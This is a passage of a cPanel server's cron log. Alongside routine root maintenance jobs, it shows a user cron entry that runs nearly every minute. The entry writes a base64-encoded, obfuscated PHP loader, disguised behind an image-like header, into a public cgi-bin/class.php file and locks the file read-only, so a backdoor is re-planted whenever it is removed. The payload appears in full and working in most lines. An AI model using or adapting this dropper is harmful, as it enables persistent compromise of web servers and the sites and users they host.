Xyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:39:01 server CROND[25601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:39:01 server CROND[25602]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 05:40:01 server CROND[25674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:40:01 server CROND[25675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:40:01 server CROND[25676]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 05:40:01 server CROND[25677]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:41:01 server CROND[25791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:42:01 server CROND[25849]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 05:42:01 server CROND[25850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:43:01 server CROND[25904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:44:01 server CROND[25944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:45:01 server CROND[26091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:45:01 server CROND[26092]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:45:01 server CROND[26093]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:46:01 server CROND[26215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:47:01 server CROND[26268]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:48:01 server CROND[26316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:49:01 server CROND[26378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:50:01 server CROND[26525]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 05:50:01 server CROND[26526]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 05:50:01 server CROND[26529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 05:50:01 server CROND[26527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 05:50:01 server CROND[26528]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 05:51:01 server CROND[26647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
